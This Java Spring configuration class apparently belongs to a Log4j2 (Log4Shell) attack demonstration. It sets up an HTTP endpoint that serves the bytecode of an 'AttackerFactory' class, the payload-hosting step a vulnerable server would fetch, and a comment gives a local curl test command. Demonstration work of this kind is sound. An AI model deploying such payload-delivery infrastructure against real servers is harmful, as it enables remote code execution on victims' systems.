package com.morningyet.bug.log4j2.attacker.controller;

import com.morningyet.bug.log4j2.attacker.hacker.AttackerFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.HttpRequestHandler;
import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Properties;

/**
 * 类com.langdashu.bug.log4j2.attacker.hacker.AttackerFactory的字节码文件下载服务
 *
 * @author moringyet
 */
@Configuration
public class AttackerFactoryClazzController {

    private static final Logger logger = LoggerFactory.getLogger(AttackerFactoryClazzController.class);

    private static final String ATTACKER_FACTORY_CLASS_DOWNLOAD_HANDLER = "attackerFactoryClassFileController";

    /**
     * 类com.langdashu.bug.log4j2.attacker.hacker.AttackerFactory的字节码文件下载接口
     *
     * 接口测试指令
     *
     * curl http://127.0.0.1:18081/com/langdashu/bug/log4j2/attacker/hacker/AttackerFactory.class -v --output AttackerFactory.class
     * @return 字节码文件流
     */
    @Bean("simpleUrlAttackerFactoryHandlerMapping")
    public SimpleUrlHandlerMapping simpleUrlHandlerMapping() {
        SimpleUrlHandlerMapping simpleUrlHandlerMapping = new SimpleUrlHandlerMapping();
        simpleUrlHandlerMapping.setOrder(1001);
        Properties properties = new Properties();
        properties.put(AbstractHandler.getBytecodeFilePath(AttackerFactory.class), ATTACKER_FACTORY_CLASS_DOWNLOAD_HANDLER);
        simpleUrlHandlerMapping.setMappings(properties);
        return simpleUrlHandlerMapping;
    }

    @Bean(ATTACKER_FACTORY_CLASS_DOWNLOAD_HANDLER)
    public AttackerFactoryClazzHandler attackerClazzHandler() {
        return new AttackerFactoryClazzHandler();
    }

    private static class AttackerFactoryClazzHandler extends AbstractHandler implements HttpRequestHandler {

        @Override
        public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {
            logger.info("handleRequest:{}", request.getRequestURI());
            outputBytecode(response, AttackerFactory.class);
        }

    }

}
